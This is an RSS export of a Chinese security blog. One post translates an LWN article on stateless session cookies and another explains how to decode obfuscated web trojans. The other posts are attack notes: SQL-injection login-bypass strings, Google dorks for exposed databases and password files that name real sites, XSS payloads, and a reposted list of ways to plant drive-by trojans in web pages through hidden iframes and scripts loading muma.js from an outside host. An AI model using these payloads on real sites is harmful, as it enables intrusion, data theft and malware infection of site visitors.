﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-小默-随笔分类-Security</title><link>http://www.cppblog.com/momoxiao/category/12536.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 09 Oct 2011 23:04:25 GMT</lastBuildDate><pubDate>Sun, 09 Oct 2011 23:04:25 GMT</pubDate><ttl>60</ttl><item><title>Session cookies for web applications</title><link>http://www.cppblog.com/momoxiao/archive/2011/10/09/157836.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Sat, 08 Oct 2011 23:14:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2011/10/09/157836.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/157836.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2011/10/09/157836.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/157836.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/157836.html</trackback:ping><description><![CDATA[<div>Session cookies for web applications [http://lwn.net/Articles/283383/]<br />By Jake Edge<br />May 21, 2008<br /><br />Two weeks ago on this page, we reported on some Wordpress vulnerabilities that were caused by incorrectly generating authentication cookies. The article was a bit light on details about such cookies, so this follow-up hopes to remedy that. In addition, Steven Murdoch, who discovered both of the holes, recently presented a paper on a new cookie technique that provides some additional safeguards over other schemes.<br /><br />两周前在此页上，我们报道了由不正确生成的身份验证 cookies 引起的一些 Wordpress 漏洞。那篇文档对这些 cookies 的细节描述略少，这篇后续的文章希望能解决这个问题。另外，发现这些漏洞的 Steven Murdoch，最近发表了篇关于一种新的 cookie 技术的文章，文章提供了其他方案之`上`的一些额外保护措施。<br /><br />HTTP is a stateless protocol which means that any application that wishes to track multiple requests as a single session must provide its own way to link those requests. This is typically done through cookies, which are opaque blobs of data that are stored by browsers. Cookies are sent to the browser as part of an HTTP response, usually after some kind of authentication is successful. The browser associates the cookie with the URL of the site so that it can send the cookie value back to the server on each subsequent request.<br /><br />HTTP 是一种无状态的协议，这意味着任何希望跟踪多个请求作为单个会话的应用程序，必须提供自己的方式来链接这些请求。这通常通过 cookies 来完成，cookies 是浏览器存储的不透明的数据块。通常，在某种身份认证成功后，cookies 被作为一个 HTTP 响应的一部分发送给浏览器。浏览器把 cookie 和对应网站的 URL 关联起来，以便它可以在每个后续请求中回送 cookie 值到服务器。<br /><br />Servers can then use the value as a key into some kind of persistent storage so that all requests that contain that cookie value are treated as belonging to a particular session. In particular, it represents that the user associated with that session has correctly authenticated. The cookie lasts until it expires or is deleted by the user. When that happens, the user must re-authenticate to get a new cookie which also starts a new session. Users find this annoying if it happens too frequently, so expirations are often quite long.<br /><br />然后，服务器可以`用某种持久性存储的键`使用该值，使得所有包含该 cookie 值的请求，被视为属于同一个特定会话。特别是，它代表和该会话关联的那个已经正确通过身份验证的用户。一个 cookie 一直存在，直到过期或被用户删除。此时，用户必须重新进行身份验证，获取一个新 cookie，同时开始一个新会话。如果它发生的过于频繁，会让用户感到恼人，所以到期时间通常相当长。<br /><br />If the user explicitly logs out of the application, any server-side resources that are being used to store state information can be freed, but that is often not the case. Users will generally just close their browser (or tab) while still being logged in. It is also convenient for users to be allowed multiple concurrent sessions, generally from multiple computers, which will cause the number of sessions stored to be larger, perhaps much larger, than the number of users.<br /><br />如果用户显式地登出应用程序，任何用来存储状态信息的服务器端资源会被释放，但情况经常不是这样。用户通常只是关闭他们的浏览器（或标签页），当仍在登录状态时。这也允许用户方便地，从不同的计算机上使用多个并发会话。这将导致存储更大的会话数量，也许比用户数量大许多。<br /><br />Applications could restrict the number of sessions allowed by a user, or ratchet the expiration value way down, but they typically do not for user convenience. This allows for a potential denial of service when an attacker creates so many sessions that the server runs out of persistent storage. For this reason, stateless session cookies [PDF][http://prisms.cs.umass.edu/~kevinfu/papers/webauth_tr.pdf] were created.<br /><br />应用程序可以限制允许一个用户使用的会话数，或者``，但它们通常不方便用户使用。这允许一个潜在的拒绝服务，当一个攻击者创建太多会话，以至于服务器用完持久性存储时。出于这个原因，无状态会话 cookies 被创建。<br /><br />Stateless session cookies store all of the state information in the cookie itself, so that the server need not keep anything in the database, filesystem, or memory. The data in the cookie must be encoded in such a way that they cannot be forged, otherwise attackers could create cookies that allow them access they should not have. This is essentially where Wordpress went wrong. By not implementing stateless session cookies correctly, a valid cookie for one user could be modified into a valid cookie for a different user.<br /><br />无状态会话 cookies 把所有状态信息存储到 cookie 本身，使服务器不需要在数据库、文件系统或内存中保存任何信息。Cookie 中的数据必须以不能被伪造的方式编码，否则攻击者可以创建允许他们访问不应该访问内容的 cookies 。实际上这就是 Wordpress 出问题的地方。由于没有正确使用无状态会话 cookies ，一个用户的有效 cookie 可以被修改成另一个不同用户的有效 cookie 。<br /><br />A stateless session cookie has the state data and expiration "in the clear" followed by a secure hash (SHA-256 for example) of those same values along with a key known only by the server. When the server receives the cookie value, it can calculate the hash and if it matches, proceed to use the state information. Because the secret is not known, an attacker cannot create their own cookies with values of their choosing.<br /><br />一个无状态的会话 cookie 有状态数据和明确的到期时间，后跟一个安全哈希值（例如 SHA-256），该哈希值和只有服务器知道的一个键`对应`。当服务器接收到 cookie 值，会计算哈希值，如果匹配，继续使用其中的状态信息。由于这个密钥是未知的，攻击者不能使用他们选择的值创建自己的 cookies 。<br /><br />The other side of that coin is that an attacker can create spoofed cookies if they know the secret. Murdoch wanted to extend the concept such that even getting access to the secret, through a SQL injection or other web application flaw, would not feasibly allow an attacker to create a spoofed cookie. The result is hardened stateless session cookies [PDF][http://www.cl.cam.ac.uk/~sjm217/papers/protocols08cookies.pdf].<br /><br />硬币的另一面是，如果攻击者知道密钥，可以创建欺骗性的 cookies 。Murdoch 希望扩展概念，使得通过 SQL 注入或其它 web 应用漏洞访问密钥后，攻击者也无法创建一个欺骗性的 cookie。结果就是强化的无状态会话 cookies 。<br /><br />The basic idea behind the scheme is to add an additional field to stateless session cookies that corresponds to an authenticator generated when an account is first set up. This authenticator is generated from the password at account creation by iteratively calculating the cryptographic hash of the password and a long salt value.<br /><br />该方案背后的基本思路是，给无状态会话 cookie 增加一个额外的字段，这个字段和账户首次设置时生成的一个`身份验证器`对应。身份验证器由创建账户时的密码生成，生成方法是，迭代计算密码的加密哈希和一个长 salt 值。<br /><br />Salt is a random string&#8212;usually just a few characters long&#8212;that is added to a password before it gets hashed, then stored with the password in the clear. It is used to eliminate the use of rainbow tables to crack passwords. Hardened stateless session cookies use a 128-bit salt value, then repeatedly calculate HASH(prev|salt), where prev is the password the first time through and the hash value from the previous calculation on each subsequent iteration.<br /><br />Salt 是一个随机字符串&#8212;&#8212;通常只有几个字符长&#8212;&#8212;它在被计算哈希值前添加到密码中，然后以明文形式和密码一起存储。它是用来杜绝使用彩虹表破解密码的。`硬化`的无状态会话 cookies 使用128位 salt 值，然后迭代计算 HASH(prev|salt) ， 其中 prev 在第一次迭代时是密码，在以后每次迭代中是上次计算的 hash 值。<br /><br />The number of iterations is large, 256 for example, but not a secret. Once that value is calculated, it is hashed one last time, without the salt, and then stored in the user table as the authenticator. When the cookie value is created after a successful authentication, only the output of the iterative hash itself is placed in the cookie, not the authenticator that is stored in the database. Cookie verification then must do the standard stateless session cookie hash verification, to ensure that the values have not been manipulated, then hash the value in the cookie to verify against authenticator in the database.<br /><br />迭代次数是个大的值，例如256，但这不是保密的。值被计算出来后，再不使用 salt 哈希一次，然后作为身份验证器存储到用户表中。当 cookie 通过一次成功认证被创建后，只有输出的迭代哈希值被保存在 cookie 中，而不保存数据库中的身份验证器。Cookie 验证必须进行标准的无状态会话 cookie 哈希验证，来确保值没有被修改过，然后哈希 cookie 中的值和数据库中的身份验证器对比。<br /><br />If it sounds complicated, it is; the performance of doing 256 hashes is also an issue, but it does protect against the secret key being lost. Because an attacker cannot calculate a valid authenticator value to put in the cookie (doing so would require breaking SHA-256), they cannot create their own spoofed cookies.<br /><br />如果这听起来很复杂，确实；进行256次哈希的性能也是一个问题，但它确实能避免密钥丢失。因为攻击者无法计算一个有效的用户验证器放进 cookie 中（这样做需要突破 SHA-256），所以他们不能创建自己的欺骗 cookie 。<br /><br />While it is not clear that the overhead of all of these hash calculations is warranted, it is an interesting extension to the stateless session cookie scheme. In his paper, Murdoch mentions some variations that could be used to further increase the security of the technique.<br /><br />目前尚不清楚所有这些哈希计算的开销是否有必要，这是一个扩展无状态会话 cookie 的有趣方案。在他的文章中，Murdoch 提到了一些可以进一步提高该技术安全性的变化。<br /><br /><br />---<br />后面没看明白。<br />无状态会话 cookie 中的密钥可能被攻击者获取，authenticator 为什么不能被攻击者获取？获取这两个东西的难度有区别么？<br /><br />---<br />TODO<br />| hash salt<br />| 彩虹表</div><img src ="http://www.cppblog.com/momoxiao/aggbug/157836.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2011-10-09 07:14 <a href="http://www.cppblog.com/momoxiao/archive/2011/10/09/157836.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网马播报url</title><link>http://www.cppblog.com/momoxiao/archive/2010/08/20/124101.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Fri, 20 Aug 2010 07:48:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/08/20/124101.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/124101.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/08/20/124101.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/124101.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/124101.html</trackback:ping><description><![CDATA[网马播报<br>http://log.mtian.net/<br>http://bbs.ikaka.com/showforum-20039.aspx<br>http://bbs.kafan.cn/forum-105-1.html<br><br> <img src ="http://www.cppblog.com/momoxiao/aggbug/124101.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-08-20 15:48 <a href="http://www.cppblog.com/momoxiao/archive/2010/08/20/124101.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网马解密大讲堂</title><link>http://www.cppblog.com/momoxiao/archive/2010/06/17/118073.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Thu, 17 Jun 2010 05:22:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/06/17/118073.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/118073.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/06/17/118073.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/118073.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/118073.html</trackback:ping><description><![CDATA[form：瑞星卡卡技术社区<br>by: networkedition<br>======================<br>==================<br>Document.write<br>解密方法之alert方法：将网马代码中的document.write替换为alert。<br>eg.弹出对话框&lt;script src=3.css&gt;&lt;/script&gt;<br>&nbsp;&nbsp; 将此代码粘贴至freshow上操作区域，点击filter按钮，数据收集区3.css木马网址。<br>&nbsp;&nbsp; 点击3.css，进行check链接获取网页源代码。<br>&nbsp;&nbsp; 解密选项自然选择alpha2，点击decode进行解密<br>&nbsp;&nbsp; 点击UP按钮，将第一次解密的结果上翻至上操作区域进行第二次解密，解密选项选择esc，获得网马下载地址<br>&nbsp;&nbsp; 点击insert按钮，将解密出的网马地址插入数据收集区<br>&nbsp;&nbsp; 点击all按钮全选，再点击log按钮，将解密出日志格式化输出。<br><br>==================<br><br>Alpha2<br>该加密方式特征，代码开头:TYIIIIIIIIIIIIIIII<br>解密方法：一次Alpha2解密，一次esc解密<br><br>==================<br>shellcode<br>Shellcode网马特征：以相同分隔符（一般为%u）分隔的4位一组的十六进制字符串。<br>解密方法：<br>-对于直接使用%u来分隔的shellcode，通过两次esc可以直接解密出网马地址。<br>-对于通过类shellcode形式加密的网马，可以通过将代码进行适当处理（将代码替换为分隔符%u），再进行两次esc解密<br><br>==================<br>Base64<br><br>Base64加密原理：(摘自小聪大牛的博客)<br><br>&nbsp; 把每三个字符，共24位2进制的ASCII码，折分成连续4个6位的ASCII码，再在每个ASCII码前面补00变成8位， 最后对应一个码表来变成编码字符：<br><br>码表为（从0～63分别依次对应）：<br>0对应A&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;63对应/<br>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/<br>如果最后不够3位数，则补0，这时后面对应的编码是&#8220;=&#8221;<br>例：原文：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c<br>　　ASCII码：&nbsp;&nbsp;&nbsp; 01100001 | 01100010 | 01100011<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 分成4个：&nbsp;&nbsp;&nbsp; 011000 | 010110 | 001001 | 100011<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 补足位数： 00011000 | 00010110 | 00001001 | 00100011<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数值大小：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 35<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对应编码：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Y&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; W&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 编码结果：&nbsp;&nbsp;&nbsp; YWJj<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果只有ab两个字符，则第三个字符用全0来代替，这时结果为YWI=<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实按照算法，=对应的编码其实也可以认为是为0，所以QQ==和QQAA用来解密的话，都是A，但是后面补0时用&#8220;=&#8221;是加密算法自己的设置，所以加密结果只能是QQ==而不会是QQAA<br>知道了加密原理，解密原理就反其道而行之就行了，呵呵&#8230;&#8230;<br>-----------------<br>加密特征：<br><br>&nbsp;&nbsp;&nbsp; 大小写字母及数字混排，末尾可能包含等号<br>------------------<br>Base64解密方法：<br><br>&nbsp;&nbsp;&nbsp; 我们还是以一个实例来简单讲解base64解密方法，在实际的网马解密中，这种加密方式很少见。今天我们提供一种解密的方法，在这里用到的解密工具为：notepad++ 这个软件(附件为notepad++)。后续我们还会讲解使用一些其他的解密工具来解密base64。<br>&nbsp;<br><br>======================<br>US-ASCII<br>加密特征：代码类似汉字，且代码中包含有&lt;meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" /&gt;<br>解密方法：使用freshow工具解密时，解密选项选择US-ASCII,直接一次decode即可<br><br>=====================<br>eval<br>解密方法：malzilla-&gt;Decode-&gt;Run script<br><br>=====================<br>swf<br><br>Flash网马简介：flash网马是利用Adobe Flash Player播放器严重安全漏洞， 攻击者可以通过精心设计的特殊SWF文件实施攻击。浏览这些特殊构造的SWF文件，会运行攻击者设定的任意代码。<br><br>Flash网马解密方法：今天我们主要来讲解如何利用(HTMLDecoder)工具，对flash网马进行解密。此工具由小祥大牛开发的一款自动网马解密工具，内附有flash网马解密功能，在这里宣传一下小祥大牛哈。工具下载见附件，本次讲解不提供具体的swf文件下载，防止一些网友不明，胡乱运行导致系统中毒。主要讲解对于flash网马如何解密的方法.<br><br>功能-执行：A&gt;PDF/CWS/Zlib Extractor&nbsp;&nbsp;&nbsp; <br><br>======================<br>PDF<br><br>pdf漏洞简介：PDF是由&#8220;Adobe Acrobat&#8221;制作的，它存在一个攻击漏洞——可以在PDF文档中，利用&#8220;Adobe Acrobat&#8221;提供的Javascript脚本功能，执行任意攻击命令。<br>解密方法：pdf网马和swf网马一样，解密工具都是可以使用htmldecoder工具，解密方法和网马解密高级篇(SWF解密)一样。今天讲解的这个pdf网马，可以直接使用freshow这个工具来解密，因为这个pdf包含的shellcode直接可以通过记事本看到。小技巧：对于pdf或swf格式的文件我们可以通过记事本的方式打开，直接查看文件的源代码，你会有惊奇的发现，尤其是网马解密，里面说不定就有你要的网马地址呢，呵呵。本次讲解同样不提供pdf文件的下载，以免不明网友，下载后运行而导致系统中招。<br><br>.pdf源文件中复制出来的shellcode代码--带密钥的shellcode--FreShow<br><br><br> <img src ="http://www.cppblog.com/momoxiao/aggbug/118073.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-06-17 13:22 <a href="http://www.cppblog.com/momoxiao/archive/2010/06/17/118073.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>'or'='or'经典漏洞攻击</title><link>http://www.cppblog.com/momoxiao/archive/2010/05/15/115426.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Fri, 14 May 2010 23:52:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/05/15/115426.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/115426.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/05/15/115426.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/115426.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/115426.html</trackback:ping><description><![CDATA[<p>/**<br>&nbsp;*常见模式<br>**/<br>'or'='or'<br>a'or'1=1--<br>'or 1=1--<br>"or 1=1--<br>or 1=1--<br>'or'a'='a<br>"or"a'='a<br>"or"a'='a<br>')or('a'='a</p>
<p>/**<br>&nbsp;*后台文件常见文件名<br>**/<br>admin<br>ad_login<br>ad_manage<br>addmember<br>adduser<br>adm_login<br>admin/admin<br>admin/admin_login<br>admin/index<br>admin/manage<br>adimin_admin<br>admin_edit<br>admin_index<br>admin_Login<br>login/...<br>...</p>
<p>/**<br>&nbsp;*关键字<br>**/<br>密码、用户名、后台账号、会员、会员ID、username、password。。。</p>
<p>/**<br>&nbsp;*例子<br>**/<br>intext:用户名 inurl:admin/login.asp<br></p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/115426.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-05-15 07:52 <a href="http://www.cppblog.com/momoxiao/archive/2010/05/15/115426.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>google hack</title><link>http://www.cppblog.com/momoxiao/archive/2010/05/15/115425.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Fri, 14 May 2010 23:50:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/05/15/115425.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/115425.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/05/15/115425.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/115425.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/115425.html</trackback:ping><description><![CDATA[<p>/**<br>&nbsp; *语法<br>**/<br>allintext:验证码 4800<br>allintitle:后台登陆<br>cache:bit.edu.cn&nbsp; //现在不能用了貌似<br>define:html<br>filetype:pdf<br>info:bit.edu.cn<br>allinurl:movie&nbsp; //这个也用不了<br>link:nsfocus.com<br>site:nsfocus.com<br>related:nsfocus.com ///<br>-----<br>blue grass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //逻辑与<br>blue -grass&nbsp;&nbsp;&nbsp;&nbsp; //非<br>blue or grass<br>"blue grass"<br>"bl?e gr?s"<br>blue grass +com<br>-----<br><a href="http://www.googlesyndicatedsearch.com/u/berkeley">http://www.googlesyndicatedsearch.com/u/berkeley</a></p>
<p>/**<br>&nbsp;*入侵<br>**/<br>绝对的路径 输入保存的路径 输入文件的内容 inurl:diy.asp<br>inurl:asp?id=<br>inurl:php?id= site:sohu.com<br>to parent directory inurl:inetpub<br>to parent directory mdb -google</p>
<p>///eg<br>//filetype:mdb<br><a href="http://proisk.ru/Northwind.mdb">http://proisk.ru/Northwind.mdb</a></p>
<p>//to parent directory mdb site:edu.cn<br><a href="http://netcourse.cug.edu.cn:7310/cug/fire_control/INC/_VTI_CNF/">http://netcourse.cug.edu.cn:7310/cug/fire_control/INC/_VTI_CNF/</a><br><a href="http://netcourse.cug.edu.cn:7310/">http://netcourse.cug.edu.cn:7310</a></p>
<p>//to parent directory "conn.asp" site:edu.cn<br><a href="http://www.tijmu.edu.cn/cn/dxzhx/new/admin/">http://www.tijmu.edu.cn/cn/dxzhx/new/admin/</a></p>
<p>//inurl:/inc+conn.asp<br>------</p>
<p>/**<br>&nbsp;*防范-----robot.txt<br>**/<br>intext:"User-agent:*" inurl:robot.txt<br>intext:"Mediapartners-Google" inurl:"robots.txt"<br>intext:"Disallow:" inurl:robots.txt<br>intext:"Allow:" inurl"robots.txt"</p>
<p>&nbsp;</p>
<p>/**<br>&nbsp;*常用<br>**/<br>allinurl:bbs data<br>filetype:mdb inurl:database/data<br>filetype:inc conn<br>intitile:"index of" data/sh_history/bash_history/passwd<br></p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/115425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-05-15 07:50 <a href="http://www.cppblog.com/momoxiao/archive/2010/05/15/115425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】跨站 例子</title><link>http://www.cppblog.com/momoxiao/archive/2010/05/15/115424.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Fri, 14 May 2010 23:50:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/05/15/115424.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/115424.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/05/15/115424.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/115424.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/115424.html</trackback:ping><description><![CDATA[<p>[1] &gt;'&gt;&lt;script&gt;alert('Watchfire XSS Test Successful')&lt;/script&gt;<br>[2] &gt;"&gt;&lt;script&gt;alert("Watchfire XSS Test Successful")&lt;/script&gt;<br>[3] &lt;/TextArea&gt;&lt;script&gt;alert('Watchfire XSS Test Successful')&lt;/script&gt;<br>///图片跨站<br>[4] &gt;"'&gt;&lt;img src="javascript:alert('Watchfire XSS Test Successful')"&gt;<br>[5] &gt;"'&gt;&lt;img src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(&amp;quot;Watchfire&#x20;XSS&#x20;Test&#x20;Successful&amp;quot;)&gt;</p>
<p>[6] " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="<br>[7] --&gt;&lt;script&gt;alert('Watchfire XSS Test Successful')&lt;/script&gt;<br>[8] '+alert('Watchfire XSS Test Successful')+'<br>[9] "+alert('Watchfire XSS Test Successful')+"<br>[10] &gt;'&gt;&lt;%00script&gt;alert('Watchfire XSS Test Successful')&lt;/script&gt; (.NET 1.1 specific variant)<br>[11] &gt;"&gt;&lt;%00script&gt;alert("Watchfire XSS Test Successful")&lt;/script&gt; (.NET 1.1 specific variant)<br>[12] &gt;+ACI-+AD4-+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-<br>[13] %A7%A2%BE%Bc%F3%E3%F2%E9%F0%F4%Be%E1%Ec%E5%F2%F4%A8%A7Watchfire%20XSS%20Test%20Successful%A7%A9%Bc%Af%F3%E3%F2%E9%F0%F4%Be</p>
<p>///-------------------------------------<br>exec('Updata ['+@t+'] set ['+@c+'] = rtrim(convert(varchar,['+#c+']))')&nbsp; ???<br>cast("&gt;&lt;/title&gt;&lt;script&gt; src=http://www.xxx.com/xx.js&lt;/script&gt;&lt;!-- as varchar(67))')f<br></p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/115424.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-05-15 07:50 <a href="http://www.cppblog.com/momoxiao/archive/2010/05/15/115424.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】常用的挂马方式和系统判断等代码</title><link>http://www.cppblog.com/momoxiao/archive/2010/05/15/115423.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Fri, 14 May 2010 23:49:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/05/15/115423.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/115423.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/05/15/115423.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/115423.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/115423.html</trackback:ping><description><![CDATA[<p>一:框架挂马<br>&lt;iframe src=地址 width=0 height=0&gt;&lt;/iframe&gt;</p>
<p>二:js文件挂马<br>首先将以下代码<br>document.write("&lt;iframe width=0 height=0 src=地址&gt;&lt;/iframe&gt;");<br>保存为xxx.js，<br>则JS挂马代码为<br>&lt;script language=javascript src=xxx.js&gt;&lt;/script&gt;</p>
<p>三:js变形加密<br>&lt;SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt&gt;&lt;/script&gt;<br>muma.txt可改成任意后缀</p>
<p>四:body挂马<br>&lt;body onload="window.location=地址;"&gt;&lt;/body&gt;</p>
<p>五:隐蔽挂马<br>top.document.body.innerHTML = top.document.body.innerHTML + rn&lt;iframe src="<a href="http://www.upx.com.cn/muma.htm/%22%3E%3C/iframe">http://www.upx.com.cn/muma.htm/"&gt;&lt;/iframe</a>&gt;;</p>
<p>六:css中挂马<br>body {<br>background-image: url(javascript:document.write("&lt;script src=http://www.upx.com.cn/muma.js&gt;&lt;/script&gt;"))}</p>
<p>七:JAJA挂马<br>&lt;SCRIPT language=javascript&gt;<br>window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");<br>&lt;/script&gt;</p>
<p>八:图片伪装<br>&lt;html&gt;<br>&lt;iframe src="网马地址" height=0 width=0&gt;&lt;/iframe&gt;<br>&lt;img src="图片地址"&gt;&lt;/center&gt;<br>&lt;/html&gt;</p>
<p>九:伪装调用：<br>&lt;frameset rows="444,0" cols="*"&gt;<br>&lt;frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"&gt;<br>&lt;frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"&gt;<br>&lt;/frameset&gt;</p>
